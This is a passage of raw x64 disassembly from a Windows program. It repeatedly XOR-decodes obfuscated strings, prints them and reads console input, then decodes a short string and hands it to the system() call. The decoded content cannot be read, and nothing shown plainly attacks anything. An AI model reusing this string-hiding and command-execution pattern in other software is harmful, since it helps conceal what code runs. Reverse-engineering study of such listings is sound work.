imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x1400363d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x2b8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140036425
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x54], 0xff
mov dword [rsp + 0x5c], 0xff
mov qword [rsp + 0x6c], r15
mov dword [rsp + 0x74], 0xff
movups xmm0, xmmword [0x1401ff090]
movups xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [0x1401ff0a0]
movups xmmword [rbp + 0x298], xmm1
movzx eax, byte [0x1401ff0b0]
mov byte [rbp + 0x2a8], al
mov r8d, r15d
cmp r13d, 2
jl 0x1400365fb
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x28c]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400364f0
cmp r8d, 0x21
jge 0x14003663f
movsxd rax, r8d
lea r9, [rbp + 0x288]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140036610
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x288]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140036665
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rsp + 0x54]
lea r8, [rsp + 0x6c]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x2b8]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400366b3
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0x10
jb 0x140036718
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036713
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036ba7
call fcn.1400b7470
mov qword [rbp + 0x2c8], r15
mov qword [rbp + 0x2d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b8], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14003677a
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036775
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036bae
call fcn.1400b7470
movsd xmm0, qword [0x1401ff0b8]
movsd qword [rbp + 0x278], xmm0
movzx eax, byte [0x1401ff0c0]
mov byte [rbp + 0x278], 0x3e
xor byte [rbp + 0x279], 0x31
xor byte [rbp + 0x27a], 0x32
xor byte [rbp + 0x27b], 0x33
xor byte [rbp + 0x27c], 0x34
xor byte [rbp + 0x27d], 0x35
xor byte [rbp + 0x27e], 0x36
xor byte [rbp + 0x27f], 0x37
xor al, 0x38
mov byte [rbp + 0x280], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b8], xmm0
mov qword [rbp + 0x2c8], r15
mov qword [rbp + 0x2d0], r15
lea rax, [rbp + 0x278]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140036800
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x2b8]
call fcn.1400050f0
lea rcx, [rbp + 0x2b8]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x78], 0xff
mov dword [rbp - 0x80], 0xff
mov qword [rbp - 0x34], r15
mov dword [rbp - 0x2c], 0xff
movzx eax, word [0x1401ff0c4]
mov word [rsp + 0x40], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
mov byte [rsp + 0x40], 0x3e
xor byte [rsp + 0x41], 0x31
xor al, 0x32
mov byte [rsp + 0x42], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140036892
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rsp + 0x78]
lea r8, [rbp - 0x34]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x2b8]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400368dd
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0x10
jb 0x140036932
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003692d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036bb5
call fcn.1400b7470
mov qword [rbp + 0x2c8], r15
mov qword [rbp + 0x2d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b8], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140036994
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003698f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036bbc
call fcn.1400b7470
lea rdx, [0x1404660b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004b40
jmp 0x14002df18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [str.S_A3.reloc]
mov dword [rsp + 0x20], eax
cmp byte [0x1401ff5d3], 0
je 0x140036adf
cmp r13d, 2
jl 0x140036aa6
movdqa xmm3, xmmword [0x140201780]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1402017c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1402017c0]
shufps xmm2, xmm0, 0xdd
mov ecx, 1
movd xmm0, ecx
psrad xmm2, xmm0
mov ecx, Ordinal_32
movd xmm0, ecx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402017a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1402017d0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140036adf
lea r8, [rsp + 0x20]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r15d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r15b
sub al, cl
add al, 0x30
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 4
jl 0x140036ab0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x368]
xor rcx, rsp
call fcn.1400b7590
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3